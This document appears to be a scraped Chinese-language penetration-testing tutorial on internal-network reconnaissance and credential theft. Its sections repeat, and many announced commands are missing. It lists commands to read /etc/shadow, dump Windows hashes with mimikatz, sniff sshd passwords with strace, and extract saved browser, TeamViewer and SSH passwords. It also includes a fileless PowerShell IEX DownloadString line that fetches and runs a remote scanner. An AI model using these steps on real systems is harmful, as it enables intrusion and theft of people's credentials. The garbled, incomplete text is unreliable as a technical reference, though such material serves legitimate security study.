win:whoami、net user 用戶名
linux:whoami、id、cat /etc/shadow、cat /etc/passwd
2.查詢網絡和端口信息
根據目的主機的IP地址/網絡連接/相關網絡地址,確認所連接的網絡情況。
win:ipconfig、netstat -ano
ARP表:arp -a
路由表: route print
查看dns緩存記錄命令:ipconfig/displaydns
linux:ifconfig、netstat -anplt
ARP表:arp -a / 路由表:route -n
查看登錄日志獲取登錄來源ip
3.查詢進程列表
查看本地運行的所有進程,確認本地軟件運行情況,重點可以關注安全軟件。
win:tasklist
linux: ps、 top
4.查詢系統和補丁信息
獲取當前主機的系統版本和補丁更新情況,可用來輔助提升權限。
win:systeminfo,查詢系統信息/補丁安裝情況。
wmic qfe get Caption,description,HotfixID,installedOn //查詢補丁信息,包含說明鏈接/補丁描述/KB編號/更新時間等信息
wmic qfe list full 查詢全部信息
Linux: 通過查看內核版本 uname -a 或者使用rpm -qa來查詢安裝了哪些軟件包
運行 net time /domain 該命令后,一般會有如下三種情況:1.存在域,但當前用戶不是域用戶,提示說明權限不夠
C:\Users>bypass>net time /domain
發生系統錯誤 5
拒絕訪問。
2.存在域,并且當前用戶是域用戶
C:\Users\Administrator>net time /domain
\\dc.test.com 的當前時間是 2020/10/2321:18:37
命令成功完成。
3.當前網絡環境為工作組,不存在域
C:\Users\Administrator>net time /domain
找不到域 WORKGROUP 的域控制器。
2.查找域管理員
net user /domain //獲取域用戶列表
net group /domain //查詢域內所有用戶組列表
net group “Domain Admins” /domain //查詢域管理員用戶
net group "Domain Controllers"/domain //查看域控制器
net localgroup administrators /domain //查詢域內置本地管理員組用戶
Port 指定掃描端口,不指定port,則默認端口為 21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389, 5801,5900,5555,5901
滲透測試的本質是信息收集,我們可以將內網信息收集大致分為5個步驟,即本機信息收集、域內信息收集、登錄憑證竊取、存活主機探測、內網端口掃描。
本機信息收集
1.查詢賬戶信息:
對當前主機的用戶角色和用戶權限做了解,判斷是否需要進一步提升權限。
2.查詢網絡和端口信息
根據目的主機的IP地址/網絡連接/相關網絡地址,確認所連接的網絡情況。
3.查詢進程列表
查看本地運行的所有進程,確認本地軟件運行情況,重點可以關注安全軟件。
4.查詢系統和補丁信息
獲取當前主機的系統版本和補丁更新情況,可用來輔助提升權限。
5.憑證收集
服務器端存有敏感信息,通過收集各種登錄憑證以便擴大戰果。
域內信息收集
搜集完本機相關信息后,就需要判斷當前主機是否在域內,如果在域內,就需要進一步收集域內信息
1.判斷是否有域
一般域服務器都會同時作為時間服務器,所以使用下面命令判斷主域
2.查找域管理員
3.找到域控
登錄憑證竊取
Windows下登錄憑證竊取
1、Windows 本地密碼Hash
Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。Windows系統下hash密碼格式用戶名稱
例如:
破解方式一:hash在線破解網站:
mimikatz使用起來也非常簡單,提取Windows系統的明文密碼只需兩行命令:
privilege::debug
破解方式三:wce
破解方式四:Powershell+mimikatz
破解方式五:prodump+mimikatz
procdump是微軟官方提供的一個小工具
微軟官方下載地址:
<https://technet.microsoft.com/en-us/sysinternals/dd996900>2、抓取瀏覽器密碼
很多瀏覽器都提供了記住密碼的功能,用戶在登錄一些網站的時候會選擇記住密碼。
LaZagne:提取瀏覽器所保存的密碼
github項目地址:https://github.com/AlessandroZ/LaZagne
3、服務端明文密碼
在一些配置文件或日志里,明文記錄著敏感的密碼信息,如web.config、config.ini等文件,可通過手動翻查敏感目錄,也可以通過findstr命令來查找敏感文件和內容。
4、第三方運維工具托管密碼
常見的有Linux運維工具,如Putty、xshell、winscp等,RDP管理工具,Remote Desktop Organizer,遠控軟件:Teamviewer、向日葵、VNC等。
xshell 密碼解密工具:https://github.com/dzxs/Xdecrypt
提取WinSCP,PuTTY等保存的會話信息:https://github.com/Arvanaghi/SessionGopher
從內存中提權TeamViewer密碼的工具:https://github.com/attackercan/teamviewer-dumper
5、查看電腦wifi密碼
Linux下登錄憑證竊取技巧
01、history記錄敏感操作
Linux系統會自動把用戶的操作命令記錄到歷史列表中,當用戶在命令行中輸入賬號、密碼進行登錄時,將會導致敏感信息泄露。
02、shadow文件破解
shadow用于存儲 Linux 系統中用戶的密碼信息,以一個用例來說明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0:
99999
密碼域密文由三部分組成,即:idsalt$encrypted。當id=1,采用md5進行加密,弱口令容易被破解。
當id為5時,采用SHA256進行加密,id為6時,采用SHA512進行加密,可以通過john進行暴力破解。
03、mimipenguin抓取密碼
一款Linux下的密碼抓取神器,需要root權限運行,通過轉儲進程并提取很可能包含明文密碼的行來利用內存中的明文憑證,目前支持Kali、Ubnutu等操作系統。
04、使用Strace收集登錄憑證
strace是一個動態跟蹤工具,堪比鍵盤記錄器的存在,可用來收集登錄憑證。
(1)獲取sshd進程明文密碼
使用正在來匹配用戶和密碼
(2)收集ssh登陸憑證
通過grep 找到匹配行的后8行,可以根據密碼長度調整行數
05、tcpdump 抓包分析
抓取數據包進行分析,獲取明文賬號密碼,比如ftp、telnet、http。
06、全盤搜索敏感信息
全局搜索配置文件、腳本、數據庫、日志文件是否有包含密碼。
07、swap_digger
一個用于自動進行Linux交換分析bash腳本,自動進行交換提取,并搜索Linux用戶憑據,Web表單憑據,Web表單電子郵件,HTTP基本身份驗證,WiFi SSID和密鑰等。
github項目收集:
08、Impost3r
一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。
github項目收集:
存活主機探測
在滲透中,當我們拿下一臺服務器作為跳板機進一步進行內網滲透時,往往需要通過主機存活探測和端口掃描來收集內網資產。
我們將主機掃描的場景大致可分為三種,1)直接在webshell下執行,通過系統自帶命令或上傳腳本工具進行掃描探測 ;2)通過反彈shell進行內網滲透,msf等滲透測試框架自帶一些掃描模塊;3)通過socks代理掃描內網(例如 proxychains+Nmap掃描)。
在合適的場景下,選擇最合適的武器。比如支持存活探測的協議,包括了 ARP、ICMP、SMB、 UDP、NETBIOS、SNMP協議等;支持端口掃描的方式,包括ACK掃描、SYN掃描、TCP掃描、UDP掃描、ICMP掃描等。
01.ping
我們經常通過ping檢查網絡連通性,通過telnet來測試指定端口連通性。使用系統自帶的命令來完成C段探測,雖然效率低,但不容易觸發安全規則。如果服務器開啟了防火墻或者禁ping,那么就會影響探測結果。
Windows下使用ping命令掃描C段:
Linux 下使用ping命令掃描C段:
另外,還可以結合系統自帶的traceroute、arp 、netstat等命令收集內網信息,curl、wget可以用來做端口探測。
2.Powershell
通過powershell腳本掃描IP地址存活:
腳本下載地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
用PowerShell實現基本的端口掃描功能。
針對單個IP的多個端口的掃描:
針對某IP段中單個端口的掃描:
針對某IP段 & 多個端口的掃描器
3.基于MSF的內網主機探測
使用msf進行反彈shell進行內網滲透時,通過msf自帶的掃描模塊進行快速掃描。
主機存活探測:
端口掃描:
04、Nmap
Nmap是一個端口掃描器,可用于主機發現、端口掃描、版本檢測、OS檢測等。
使用場景:建立socks代理,proxychains+Nmap掃描內網。
支持多種掃描模式:
快速掃描所有端口:
內網端口掃描
1、利用telnet進行端口掃描
快速探測主機是否存在常見的高危端口
telnet 192.168.0.2 22 telnet 192.168.0.2 3306
2、Metasploit端口掃描
Metasploit滲透測試利器,提供了很多漏洞利用、掃描功能。
auxiliary/scanner/portscan/ack ACK防火墻掃描
auxiliary/scanner/portscan/ftpbounce FTP跳端口掃描
auxiliary/scanner/portscan/syn SYN端口掃描
auxiliary/scanner/portscan/tcp TCP端口掃描
使用auxiliary/scanner/portscan/tcp模塊示例
use auxiliary/scanner/portscan/tcp
show options
3、PowerSploit的Invoke-portscan.ps1
無文件形式掃描:
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘ -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,80,8080,3389’ -oA c:\ProgramData\ip_info”
4、Nishang的Invoke-PortScan模塊
獲取幫助
Get-Help Invoke-PortScan -full
StartAddress 掃描范圍開始地址
EndAddress 掃描范圍結束地址
ScanPort 進行端口掃描
Port 指定掃描端口,不指定port,則默認端口為 21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389, 5801,5900,5555,5901
TimeOut 設置超時時間
-ResolveHost 解析主機名
掃描存活主機及端口并解析主機名
使用方式
Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort
5、Nmap
https://www.cnblogs.com/iAmSoScArEd/p/10585863.html6、端口利用
具體信息及利用速查 :
https://www.cnblogs.com/iAmSoScArEd/p/10564262.html根據banner信息,可以在CVE庫對指定服務、版本進行漏洞查詢
或使用Exploit-DB查詢PoC、EXP
回答所涉及的環境:聯想天逸510S、Windows 10。